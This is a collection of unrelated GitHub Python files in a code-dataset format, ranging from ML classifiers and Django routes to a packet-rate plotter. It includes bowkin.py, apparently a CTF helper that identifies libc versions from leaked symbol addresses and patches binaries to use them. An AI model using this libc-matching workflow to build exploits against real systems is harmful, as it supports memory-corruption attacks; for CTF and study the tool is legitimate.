Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nModel = \"K-Nearest Neighbors\"\nmodel = KNeighborsClassifier(n_neighbors=1)\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nModel = \"Support Vector Machine\"\nmodel = svm.SVC(C=1, kernel='linear', gamma=1)\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nModel = \"Decision Tree\"\nmodel = tree.DecisionTreeClassifier(criterion='gini')\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nModel = \"Random Forest\"\nmodel = RandomForestClassifier(n_estimators=100)\nFitModel = model.fit(TrainMatrix, Train_Labels)\npredictions = model.predict(TestMatrix)\nCVScore = Validate(TrainMatrix, Train_Labels, FitModel)\nTest(predictions, Test_Labels, Model, t, CVScore)\n\nprint(t)\n","repo_name":"AhmedHamdi101/DeftEval-2020","sub_path":"TrainData.py","file_name":"TrainData.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31153553042","text":"# # nuestro código no puede vivir dentro de un libro de jupyter. Para poder compartirlo debemos encapsularlo dentro de una función para después crear un módulo con el que podamos organizar y compartir nuestro código.\n\n\n# def data_runners(file_name: str) -> tuple:\n# # es bueno añadir un comentario al inicio de la función para indicar que hace.\n# \"\"\" Dado el nombre de un corredor, extrae los datos necesarios\n# y los devuelve como una tupla \"\"\"\n# return 'media'\n\n\n# copiamos nuestro código dentro de la función:\n\nimport statistics\n\nFOLDER = '../registros/'\n\n\ndef data_runners(file_name: str) -> tuple:\n \"\"\" Dado el nombre de un corredor, extrae los datos necesarios\n y los devuelve como una tupla \n \"\"\"\n runner, meters, category = file_name.removesuffix(\".csv\").split(\"-\")\n with open(FOLDER + file_name) as df:\n data = df.readlines()\n\n times = []\n for i in data:\n line = i.removesuffix(\"\\n\").split(\";\")[1]\n # print(line)\n if line != \"Tiempo\":\n times.append(line)\n list_converted_times = []\n\n for t in times:\n minutes, rest = t.split(\":\")\n seconds, hundredths = rest.split(\".\")\n hundredths_time = int(minutes)*60*100 + \\\n int(seconds)*100 + int(hundredths)\n list_converted_times.append(hundredths_time)\n\n average_time = statistics.mean(list_converted_times)\n round(average_time / 100, 2)\n str(round(average_time / 100, 2)).split(\".\")\n seconds, hundredths = str(round(average_time / 100, 2)).split(\".\")\n seconds = int(seconds)\n # los pasamos a minutos\n minutes = seconds / 60\n minutes = seconds // 60\n # Ahora vamos a calcular el nº de segundos\n seconds = seconds - minutes*60\n average_time_str = str(minutes) + \":\" + str(seconds) + \".\" + hundredths\n\n # la función retorna una tupla, solamente puede devolver un resultado\n # como en una ecuación matemática.\n return runner, meters, category, average_time, average_time_str, times\n\n# ahora vamos a crear un nuevo libro de jupyter y vamos a importar nuestro nuevo modulo\n","repo_name":"mucoketo/Python","sub_path":"runnersAverage.py","file_name":"runnersAverage.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"22735986217","text":"import tensorflow as tf\nfrom transformers import (\n TFBertModel,\n BertTokenizer,\n TFAutoModelForSequenceClassification,\n DataCollatorWithPadding,\n pipeline,\n)\n\nclass SentimentAnalyzer:\n bert_model: str = \"Guspfc/my-awesome-bert-model-sentiment-analysis\"\n\n # Initialize Bert Model and Tokenizer\n def __init__(self) -> None:\n self.tokenizer = BertTokenizer.from_pretrained(self.bert_model)\n self.model = TFAutoModelForSequenceClassification.from_pretrained(\n self.bert_model\n )\n\n # Method to Analyse sentiment of text\n def analyze(self, text: str):\n input_token = self.tokenizer(text, return_tensors=\"tf\")\n\n outputs = self.model(**input_token)\n logits = outputs.logits\n\n probabilities = tf.nn.softmax(logits, axis=-1)\n\n predicted_class = tf.argmax(probabilities, axis=1).numpy()[0]\n\n if predicted_class == 1:\n return \"Neutral 😐\"\n elif predicted_class == 2:\n return \"Negative ❌\"\n else:\n return \"Positive ✅\"\n","repo_name":"Guspfc/hate-speech-identification","sub_path":"sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"44010580019","text":"from django.urls import path\nfrom Repository import admin\nfrom Repository import views\nurlpatterns = [\n path('showRepo', views.showRepo),\n path('showTask', views.showTask),\n path('addRepo', views.addRepo),\n path('getReposByKeyword', views.getReposByKeyword),\n path('getAllMember', views.getAllMember),\n path('changeIdentity', views.changeIdentity),\n path('test', views.test),\n path('getRepos', views.getRepos),\n path('exitRepo', views.exitRepo),\n path('delRepo', views.delRepo),\n]\n","repo_name":"zhoubin1022/StarFlowBackend","sub_path":"Repository/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"38494326135","text":"\"\"\"delete_enable_csv_multi_download_button_ff\n\"\"\"\n\n\n# pre/post deployment: post\n# revision identifiers, used by Alembic.\nrevision = \"93551ad5b84c\"\ndown_revision = \"f94795ee981a\"\nbranch_labels = None\ndepends_on = None\n\n\ndef get_flag():\n # Do not import `pcapi.models.feature` at module-level. It breaks\n # `alembic history` with a SQLAlchemy error that complains about\n # an unknown table name while initializing the ORM mapper.\n from pcapi.models import feature\n\n return feature.Feature(\n name=\"ENABLE_CSV_MULTI_DOWNLOAD_BUTTON\",\n isActive=False,\n description=\"Active le multi-téléchargement des réservations\",\n )\n\n\ndef upgrade() -> None:\n from pcapi.models import feature\n\n feature.remove_feature_from_database(get_flag())\n\n\ndef downgrade() -> None:\n from pcapi.models import feature\n\n feature.add_feature_to_database(get_flag())\n","repo_name":"mariedestandau/poc-next-pro","sub_path":"api/src/pcapi/alembic/versions/20230110T151202_93551ad5b84c_delete_enable_csv_multi_download_button_ff.py","file_name":"20230110T151202_93551ad5b84c_delete_enable_csv_multi_download_button_ff.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4787571749","text":"#!/usr/bin/python3\n\nimport scapy.all\nimport os\nimport os.path\nimport shutil\nimport sys\nimport pickle\nimport collections\nimport matplotlib.pyplot as plt\n\nSCAPY_DONE_STRING = \"scapy_done_1\"\n\ndef save_figure(figure, filename):\n\tprint(\"Generating figure:\", filename, \"...\", end=\" \")\n\tfigure.savefig(\"{}.pdf\".format(filename))\n\tfigure.savefig(\"{}.png\".format(filename))\n\tpickle.dump(figure, open(\"{}.fig.pickle\".format(filename), 'wb'))\n\tprint(\"Done\")\n\nbase_path = sys.argv[1]\nos.chdir(base_path)\n\nif os.path.exists(SCAPY_DONE_STRING):\n\tprint(\"Post analysys already done. Goodbye.\")\n\tsys.exit(1)\n\nPLOT_DIR = \"scapy/\"\nif os.path.exists(PLOT_DIR):\n\tshutil.rmtree(PLOT_DIR)\nos.mkdir(PLOT_DIR)\n\nprint(\"Reading packets ...\", end='')\npcap_packets = scapy.all.rdpcap(\"switch-2_tcpdump.pcap\", count=-1)\nprint(\" Done\")\nzero_epoch = None\npps_buffer = collections.deque()\npps_count = list()\npps_times = list()\n\npre60_count = 0\npost60_count = 0\n\nbuffer_size = 0\nlast_packet_time = None\n\ninter_packet_times = list()\n\n\nfor packet in pcap_packets:\n\tif not zero_epoch:\n\t\tzero_epoch = packet.time\n\n\trelative_packet_time = packet.time - zero_epoch\n\n\tif packet[\"IP\"].src == \"10.0.0.101\":\n\t\tif last_packet_time:\n\t\t\tinter_packet_times.append((relative_packet_time - last_packet_time)*1000)\n\t\tlast_packet_time = relative_packet_time\n\n\t##\n\t## PACKETS PER SECOND\n\t##\n\n\t# add packet to pps pps_buffer\n\tpps_buffer.append(packet)\n\tbuffer_size += len(packet[\"IP\"])\n\n\t# remove packets that moved out of the window\n\twhile packet.time - pps_buffer[0].time > 1:\n\t\tbuffer_size -= len(pps_buffer.popleft()[\"IP\"])\n\n\n\tpps_count.append(buffer_size)\n\tpps_times.append(relative_packet_time)\n\n\t##\n\t## PACKETS BEFORE / AFTER 60s MARK\n\t##\n\n\tif relative_packet_time < 60:\n\t\tpre60_count += 1\n\telse:\n\t\tpost60_count += 1\n\nwith open(PLOT_DIR + \"count.txt\", 'w') as outfile:\n\tinfostring = \"pre/post 60 count: {}/{}\".format(pre60_count, post60_count)\n\tprint(infostring)\n\toutfile.write(infostring + '\\n')\n\nplt.plot(pps_times, pps_count)\nplt.grid()\nsave_figure(plt.gcf(), PLOT_DIR + \"/pps\")\n\nplt.figure()\nplt.plot(inter_packet_times)\nplt.grid()\nsave_figure(plt.gcf(), PLOT_DIR + \"/ipt\")\n\nplt.figure()\ny = [i/len(inter_packet_times) for i in range(len(inter_packet_times))]\ninter_packet_times.sort()\nplt.plot(inter_packet_times, y)\nplt.grid()\nplt.xlim([0, 1.5])\nplt.xlabel(\"interpacket times [ms]\")\nplt.ylabel(\"ECDF\")\n\nsave_figure(plt.gcf(), PLOT_DIR + \"/ipt_ecdf\")\n","repo_name":"pietdevaere/hephaestus","sub_path":"packet_rate_analyzer.py","file_name":"packet_rate_analyzer.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6406260330","text":"import pytest\nimport app.db\n\nfrom bson import ObjectId\nfrom mock import patch, MagicMock\n\ndef test_get_user():\n id_str = \"5e77e247ef4b45c2a2b44d2b\"\n oid = ObjectId(id_str)\n doc = {\"_id\": oid, \"username\": \"asdf\", \"hash\": \"...\"}\n \n with patch(\"app.db.database\") as mock:\n mock.users.find_one.return_value = doc\n response = app.db.get_user(id_str)\n\n assert response != None\n assert response.username == \"asdf\"\n assert response.id == id_str\n\n mock.users.find_one.return_value = None\n assert app.db.get_user(\"5e77e247ef4b45c2a2b44d2c\") == None\n","repo_name":"EoinDoherty/5828_Team1","sub_path":"app/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35297761569","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 7 09:00:17 2020\n\nAdd two numbers II\n\nStore the nodes in a stack, so that when we pop from the stack, each node represents the same\nposition (ones, tens, hundreds). Add some conditions in case one list is shorter than the other\nand how to deal with a one bein carried over to the last node\n\n@author: Robert Xu\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n \nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n \n s1, s2 = [],[]\n \n while l1:\n s1.append(l1)\n l1 = l1.next\n \n while l2:\n s2.append(l2)\n l2 = l2.next\n \n carry = 0\n prev = None\n \n while s1 or s2:\n \n a = s1.pop() if s1 else ListNode(0)\n b = s2.pop() if s2 else ListNode(0)\n new_val = a.val+b.val+carry\n carry, new_val = divmod(new_val, 10)\n new_node = ListNode(new_val, prev)\n prev = new_node\n \n if carry == 1: return ListNode(1, prev)\n return prev\n","repo_name":"xu-robert/Leetcode-daily-challenges","sub_path":"Nov2020/Nov7.py","file_name":"Nov7.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36651103167","text":"'''\nAuthor: Brian Mukeswe\nInstitution: The University of Edinburgh\nDepartment: School of Informatics\nContact: b.mukeswe@sms.ed.ac.uk\nDate: June 1, 2019\n\n'''\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import pearsonr\nfrom sklearn.preprocessing import MinMaxScaler\n\ndef clean_happiness_data(data):\n \n to_keep = [\"Area Codes\", \"Area names\", \"Unnamed: 4\", \"Unnamed: 5\",\n \"Unnamed: 6\",\"Unnamed: 7\", \"Unnamed: 8\", \"Unnamed: 24\"]\n\n # Keep only columns of interest\n for column in data.columns:\n if not column in to_keep:\n data.drop(columns=[column], inplace=True)\n \n rename = {\"Area Codes\" : \"area_codes\",\n \"Area names\" : \"area_names\",\n \"Unnamed: 4\" : \"low_0_4\",\n \"Unnamed: 5\" : \"medium_5_6\",\n \"Unnamed: 6\" : \"high_7_8\",\n \"Unnamed: 7\" : \"vhigh_9_10\",\n \"Unnamed: 8\" : \"avg_rating\",\n \"Unnamed: 24\": \"sample_size\"}\n\n # Rename data columns\n data.columns = rename.values()\n\n # Drop trailing rows\n for i in range(441, len(data)):\n data.drop(index=[i], inplace=True)\n \n # Get Area codes of interest\n columns = [\"area_code\", \"area_name\", \"area_latitude\", \"area_longitude\"]\n regions = pd.read_csv(\"regions.txt\", names=columns)\n\n for i in range(0, len(data)):\n # Keep only data that corresponds to the area codes of interest\n if not data.area_codes.loc[i] in regions.area_code.values:\n data.drop(index=[i], inplace=True)\n \n # Merge coordinates with happiness data\n data.reset_index(inplace=True)\n data.drop(columns=[\"index\"], inplace=True)\n data = pd.concat([data, regions], axis=1)\n data.drop(columns=[\"area_name\", \"area_code\"], inplace=True)\n return data\n\ndef make_lineObj(line, data):\n ''' create a dict object of a specified row\n of a dataframe\n '''\n \n obj = {}\n \n for column in data.columns:\n obj[column] = data[column].iloc[line]\n \n return obj\n\n\ndef storeObj(obj, database):\n '''\n store a dict object\n '''\n database.insert_one(obj)\n \ndef store_data(data, database):\n for row in range(0, len(data)):\n obj = make_lineObj(row, data)\n storeObj(obj, database)\n\ndef square(x):\n return x*x\n\ndef get_shortest_distance(a, b):\n x = b.area_longitude - a.longitude\n y = b.area_latitude - a.latitude\n \n xx = x.apply(func=square)\n yy = y.apply(func=square)\n \n return np.sqrt(xx+yy).sort_values().index[0]\n \n \ndef get_area_index(station, stations, areas):\n '''\n custom function to identify the area to which a given station belongs.\n The fucntion chooses the area that has the least straight line distance from\n the station. The straight line distance betwen a stationa an area is determined \n using the coordiates of the station and the coordinate sof the area.\n \n param: station - the name of the station on interest\n param: stations - the names and locations of all stations\n param: areas - the names and locations of all stations\n \n return: area - the name of the closest area\n '''\n from_location = stations.loc[station]\n index = get_shortest_distance(a=from_location, b=areas)\n \n return areas.index[index]\n\ndef get_nearest_area(station, stations, happiness):\n \n h = happiness.copy(deep=True)\n areas = pd.concat([h.area_codes, h.area_latitude, h.area_longitude], axis=1)\n \n return h.area_codes.loc[get_area_index(station, stations, areas)]\n \ndef get_station_area(station_coords, happiness):\n \n areas = []\n for station in station_coords.index:\n area = get_nearest_area(station, station_coords.drop(columns=[\"label\"]), happiness)\n areas.append(area)\n \n \n station_area = pd.concat([pd.Series(station_coords.index), pd.Series(areas, name=\"area\")], axis=1)\n\n return station_area\n\ndef join_weather_to_area_codes(weather, station_coords, happiness):\n ''' join sampled weather data with area codes and store in a database collection\n '''\n station_coords = station_coords.set_index(\"index\")\n station_area = get_station_area(station_coords, happiness)\n \n \n weather_area = pd.concat([weather, station_area.set_index(\"index\")], axis=1, sort=True)\n \n return weather_area\n\ndef flatten(aggregate_obj, to_extract):\n '''\n Custom function to flatten a nested dictionary that\n results from a mongodb aggregation.\n '''\n # Extracct nested entires\n extract = aggregate_obj[to_extract][0]\n \n # discard redundant dict items\n aggregate_obj.pop(to_extract)\n aggregate_obj.pop(\"_id\")\n extract.pop(\"_id\")\n \n # return flattened dictionary\n return {**aggregate_obj, **extract}\n \n \ndef aggregation_to_dataframe(query, database, station_coords):\n '''\n Custom function that returns the results of a mongodb \n aggregation in a dataframe\n '''\n \n entries = []\n \n # collect entries\n for entry in database.aggregate(query):\n \n flat_entry = flatten(aggregate_obj=entry, to_extract=\"happiness\")\n entries.append(flat_entry)\n \n #create dataframe\n joined = pd.DataFrame(entries)\n \n # Include station coordinates\n station_coords = station_coords.drop(columns=[\"label\"])\n station_coords = station_coords.set_index(\"index\")\n station_coords.columns = [\"station_lat\", \"station_long\"]\n \n joined = pd.concat([joined, station_coords.reset_index().drop(columns=[\"index\"])], axis=1)\n joined.drop(columns=[\"INDEX\",\"area\",\"month\",\"year\"], inplace=True)\n \n return joined \n \ndef get_correlation(data, feature1, feature2):\n \n scaler = MinMaxScaler()\n h = data.drop(columns=[\"area_names\", \"area_codes\"]).dropna()\n\n x = np.array(h[feature1]).reshape(-1,1)\n scaler.fit(x)\n x = scaler.transform(x)\n\n y = np.array(h[feature2]).reshape(-1,1)\n scaler.fit(y)\n y = scaler.transform(y)\n\n return pearsonr(x,y)[0][0]\n\ndef report_corelations(joined, features, metrics):\n \n for metric in metrics:\n for attribute in features:\n coef = get_correlation(data=joined, feature1=attribute, feature2=metric)\n print(\"pearson correlation:\", metric,\"and\", attribute, \"=\", round(coef, 4))\n \n","repo_name":"mukeswebrian/Analysing-the-impact-of-weather-on-self-reported-happiness","sub_path":"utility_scripts/happiness_data_utils.py","file_name":"happiness_data_utils.py","file_ext":"py","file_size_in_byte":6247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"27998917316","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('Detail/<int:pk>', views.detail, name='Detail'),\n path('create/', views.create, name='create'),\n path('createtask/', views.createtask, name='createtask'),\n path('sendhomework/<int:pk>', views.sendhomework, name='sendhomework'),\n path('checkhomework/', views.checkhomework, name='checkhomework'),\n path('about/', views.about, name='about'),\n path('contact/', views.contact, name='contact'),\n path('register/', views.register, name='register'),\n path('login/', views.loginpage, name='login'),\n path('logout/', views.logoutpage, name='logout'),\n]","repo_name":"baielbekenov/education","sub_path":"edu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25078822794","text":"from BeautifulSoup import BeautifulSoup\nimport urllib2\n\nNOMINATIM_SPECIAL_PHRASE_URL = \"http://wiki.openstreetmap.org/wiki/Nominatim/Special_Phrases/EN\"\nOUTPUT_FILE = \"nominatim_special_phrases.csv\"\n\ndef getSpecialPhrases():\n\t\n\tspecialPhrases = {}\n\tphraseTypes = set() # To remove duplicates('s', 'es', 'in', 'near')\n\n\thtmlText = urllib2.urlopen(NOMINATIM_SPECIAL_PHRASE_URL).read()\n\tsoup = BeautifulSoup(htmlText)\n\n\trows = soup.find(\"table\", {\"class\" : \"wikitable sortable\"}).findAll('tr')[1:]\n\tfor row in rows:\n\n\t\tphrase, key, value, _, _ = row.findAll('td')\n\t\tif value.text not in phraseTypes:\n\t\t\tspecialPhrases[phrase.text] = {\n\t\t\t\t'type': key.text,\n\t\t\t\t'value': value.text\n\t\t\t}\n\t\t\tphraseTypes.add(value.text)\n\n\treturn specialPhrases\n\ndef writePhrasesAsCSV(phrases):\n\n\tcsvWriter = open(OUTPUT_FILE, 'wb')\n\tcsvWriter.write('%s,%s,%s\\n'%('Phrase', 'Key', 'Value'))\n\tfor phrase in sorted(phrases):\n\t\tcsvWriter.write('%s,%s,%s\\n'%(phrase, phrases[phrase]['type'], phrases[phrase]['value']))\n\tcsvWriter.close()\n\nif __name__ == '__main__':\n\t\n\tspecialPhrases = getSpecialPhrases()\n\twritePhrasesAsCSV(specialPhrases)\n","repo_name":"rishirajsinghjhelumi/Overpass-Query-Wrapper-for-GJS","sub_path":"special_phrase.py","file_name":"special_phrase.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"24835641405","text":"from builtins import object\nclass GnrCustomWebPage(object):\n py_requires = \"\"\"gnrcomponents/testhandler:TestHandlerFull\"\"\"\n \n def test_0_tabContainer(self, pane):\n \"\"\"Drop Boxes\"\"\"\n tc = pane.tabContainer(height='300px', width='400px')\n one = tc.contentPane(title='One',overflow='hidden').contentPane(background_color='pink', detachable=True)\n one.div('one')\n one.div('pippo', background='blue')\n two = tc.contentPane(title='Two').contentPane(background_color='yellow', detachable=True)\n two.div('two')\n three = tc.contentPane(title='Three').contentPane(background_color='lime', detachable=True)\n three.div('three')","repo_name":"genropy/genropy_saved","sub_path":"projects/gnrcore/packages/test15/webpages/dd/detachable.py","file_name":"detachable.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"} +{"seq_id":"36039539733","text":"# Bisection Search \n\ninp = int(float(input(\"Please think of a number between 0 and 100!: \")))\n\nhigh = 100\nlow = 1\nans = int((high + low)/2)\n\nif (inp < 100 and inp >= 0):\n print(inp)\n\n while(inp < 100 and inp >= 0):\n\n print(\"Are your guess is: \" + str(int(float(ans))) + \"?\")\n\n answer = input(\"Enter 'h' to indicate the guess is too high. Enter 'l' to indicate the guess is too low. Enter 'c' to indicate I guessed correctly: \" )\n\n if answer == \"c\":\n print(\"Your guess is: \" + str(int(float(ans))))\n break\n\n elif answer == \"h\":\n high = ans\n\n else:\n answer == \"l\"\n low = ans\n\n ans = int((high + low)/2)\n\n\nelse:\n print('The Enter Number is out of range')\n\n\n\n\n\nprint(\"Please think of a number between 0 and 100!\")\nlow = 0\nhigh = 100\ni = 0\nwhile i in range(0,100):\n guess = int((low + high)/2)\n print(\"Is your secret number\" + \" \" + str(guess) + \"?\")\n response = str(input(\"Enter 'h' to indicate the guess is too high. Enter 'l' to indicate the guess is too low. Enter 'c' to indicate I guess correctly.\"))\n\n if response == 'h':\n high = guess\n guess = int((low+high)/2)\n elif response == 'l':\n low = guess\n guess = int((low+high)/2)\n elif response == 'c':\n break\n else:\n print(\"Enter only c or h or l\")\nprint(\"Game over. Your secret number was:\" + \" \" + str(guess))","repo_name":"mushahidmehdi/MITx-6.00.1x","sub_path":"BinaryClasification.py","file_name":"BinaryClasification.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"585452906","text":"#!/usr/bin/env python3\nimport argparse\nimport json\nimport os\nimport re\nimport shlex\nimport shutil\nimport sqlite3\nimport subprocess\nimport sys\n\nimport elftools.elf.elffile\n\nimport utils\n\n\ndef dump(libc_filepath, symbols):\n print(utils.make_bright(\"<dump>\"))\n\n with open(libc_filepath, \"rb\") as f:\n elf = elftools.elf.elffile.ELFFile(f)\n dynsym_section = elf.get_section_by_name(\".dynsym\")\n for symbol in symbols:\n try:\n libc_symbol = dynsym_section.get_symbol_by_name(symbol)[0]\n libc_offset = libc_symbol.entry.st_value & 0xFFF\n except TypeError:\n pass\n else:\n print(f\"{symbol}={hex(libc_offset)}\")\n\n print(utils.make_bright(\"</dump>\"))\n\n\ndef find(symbols):\n print(utils.make_bright(\"<find>\"))\n\n matches = []\n with sqlite3.connect(utils.get_libcs_db_filepath()) as conn:\n conn.row_factory = sqlite3.Row\n for libc in conn.execute(\"SELECT * FROM libcs\"):\n libc_filepath = os.path.join(utils.get_libcs_dirpath(), libc[\"relpath\"])\n with open(libc_filepath, \"rb\") as f:\n elf = elftools.elf.elffile.ELFFile(f)\n dynsym_section = elf.get_section_by_name(\".dynsym\")\n for symbol, address in symbols:\n offset = address & 0xFFF\n try:\n libc_symbol = dynsym_section.get_symbol_by_name(symbol)[0]\n libc_offset = libc_symbol.entry.st_value & 0xFFF\n if libc_offset != offset:\n break\n except (IndexError, TypeError):\n break\n else:\n utils.dump(dict(libc))\n matches.append(dict(libc))\n\n print(utils.make_bright(\"</find>\"))\n return matches\n\n\ndef identify(libc_filepath):\n print(utils.make_bright(\"<identify>\"))\n\n matches = []\n with sqlite3.connect(utils.get_libcs_db_filepath()) as conn:\n conn.row_factory = sqlite3.Row\n matches = [\n dict(libc)\n for libc in conn.execute(\n \"SELECT * FROM libcs where buildID=?\",\n (utils.extract_buildID(libc_filepath),),\n )\n ]\n\n for libc in matches:\n utils.dump(libc)\n\n print(utils.make_bright(\"</identify>\"))\n return matches\n\n\ndef patch(binary_filepath, supplied_libc_filepath):\n print(utils.make_bright(\"<patch>\"))\n\n binary_dirpath = os.path.dirname(binary_filepath)\n\n # identify the supplied libc\n matches = identify(supplied_libc_filepath)\n if not matches:\n utils.abort(\"The supplied libc is not in the local library.\")\n # TODO pick the first for now\n libc = matches[0]\n\n libc_filepath = os.path.join(utils.get_libcs_dirpath(), libc[\"relpath\"])\n libc_architecture = libc[\"architecture\"]\n libc_patch = libc[\"patch\"]\n libc_version = libc[\"version\"]\n\n ld_filepath = os.path.join(\n os.path.dirname(libc_filepath),\n os.path.basename(libc_filepath).replace(\"libc-\", \"ld-\"),\n )\n # if the dynamic loader does not exist, abort (don't care about race conditions)\n if not os.path.isfile(ld_filepath):\n utils.abort(\n \"The dynamic loader corresponding to the libc to use cannot be found.\"\n f\" It should reside at {utils.make_bright(ld_filepath)}\"\n )\n\n # copy the dynamic loader and the libc to the directory where the binary is located\n libs_dirpath = os.path.join(\n binary_dirpath, \"libs\", libc_architecture, libc_version, libc_patch\n )\n ld_proper_filename = f\"ld-{libc_version}.so\"\n ld_proper_filepath = os.path.join(libs_dirpath, ld_proper_filename)\n libc_proper_filename = f\"libc-{libc_version}.so\"\n libc_proper_filepath = os.path.join(libs_dirpath, libc_proper_filename)\n if not utils.query_yes_no(\n \"Copy:\\n\"\n f\"- {utils.make_bright(ld_filepath)}\\n\"\n f\"- {utils.make_bright(libc_filepath)}\\n\"\n \"to:\\n\"\n f\"- {utils.make_bright(ld_proper_filepath)}\\n\"\n f\"- {utils.make_bright(libc_proper_filepath)}\\n\"\n \"?\"\n ):\n utils.abort(\"Aborted by user.\")\n os.makedirs(libs_dirpath, exist_ok=True)\n shutil.copy2(ld_filepath, ld_proper_filepath)\n shutil.copy2(libc_filepath, libc_proper_filepath)\n\n print()\n\n # if debug symbols exist, copy them also\n libc_dbg_filepath = f\"{libc_filepath}.debug\"\n if os.path.isfile(libc_dbg_filepath):\n libs_debug_dirpath = os.path.join(libs_dirpath, \".debug\")\n\n libc_dbg_proper_filename = utils.get_libc_dbg_proper_filename(libc_filepath)\n libc_dbg_proper_filepath = os.path.join(\n libs_debug_dirpath, libc_dbg_proper_filename\n )\n if utils.query_yes_no(\n \"Copy:\\n\"\n f\"- {utils.make_bright(libc_dbg_filepath)}\\n\"\n \"to:\\n\"\n f\"- {utils.make_bright(libc_dbg_proper_filepath)}\\n\"\n \"?\"\n ):\n os.makedirs(libs_debug_dirpath, exist_ok=True)\n shutil.copy2(libc_dbg_filepath, libc_dbg_proper_filepath)\n print()\n\n # patch the binary to use the new dynamic loader and libc\n patched_binary_filepath = (\n f\"{binary_filepath}-{libc_architecture}-{libc_version}-{libc_patch}\"\n )\n if not utils.query_yes_no(\n \"Copy:\\n\"\n f\"- {utils.make_bright(binary_filepath)}\\n\"\n \"to:\\n\"\n f\"- {utils.make_bright(patched_binary_filepath)}\\n\"\n \"and patch the latter?\"\n ):\n utils.abort(\"Aborted by user.\")\n shutil.copy2(binary_filepath, patched_binary_filepath)\n\n ld_basename = os.path.basename(ld_proper_filename)\n libc_basename = os.path.basename(libc_proper_filename)\n subprocess.run(\n (\n f\"patchelf --set-interpreter {shlex.quote(os.path.relpath(ld_proper_filepath, binary_dirpath))} {shlex.quote(patched_binary_filepath)}\"\n f\" && patchelf --add-needed {shlex.quote(os.path.relpath(libc_proper_filepath, binary_dirpath))} {shlex.quote(patched_binary_filepath)}\"\n ),\n check=True,\n shell=True,\n )\n\n print(utils.make_bright(\"</patch>\"))\n\n\nif __name__ == \"__main__\":\n\n def _parse_symbol_address_type(text):\n symbol, address = text.split(\"=\")\n address = int(address, 16)\n return (symbol, address)\n\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest=\"action\")\n\n dump_parser = subparsers.add_parser(\n \"dump\", help=\"Dump symbols offsets of a given libc\"\n )\n dump_parser.add_argument(\"libc\", type=argparse.FileType())\n dump_parser.add_argument(\"symbol\", nargs=\"+\")\n\n find_parser = subparsers.add_parser(\n \"find\", help=\"Find which libcs in the local library satisfy symbol=address\"\n )\n find_parser.add_argument(\n \"symbols\", type=_parse_symbol_address_type, nargs=\"+\", metavar=\"symbol=address\"\n )\n\n identify_parser = subparsers.add_parser(\n \"identify\",\n help=\"Identify an unknown libc by searching the local library for libcs with the same buildID\",\n )\n identify_parser.add_argument(\"libc\", type=argparse.FileType())\n\n patch_parser = subparsers.add_parser(\n \"patch\", help=\"Patch an ELF binary to use a specific libc\"\n )\n patch_parser.add_argument(\"binary\", type=argparse.FileType())\n patch_parser.add_argument(\"libc\", type=argparse.FileType())\n\n args = parser.parse_args()\n\n if args.action == \"dump\":\n dump(args.libc.name, args.symbol)\n elif args.action == \"find\":\n find(args.symbols)\n elif args.action == \"identify\":\n identify(args.libc.name)\n elif args.action == \"patch\":\n patch(args.binary.name, args.libc.name)\n else:\n parser.print_help(sys.stderr)\n","repo_name":"integeruser/bowkin","sub_path":"bowkin.py","file_name":"bowkin.py","file_ext":"py","file_size_in_byte":7773,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"5"} +{"seq_id":"36850260096","text":"#Staff Payment Record system\r\n\r\n#importing libraries\r\nimport time\r\nimport tkinter.filedialog\r\nimport 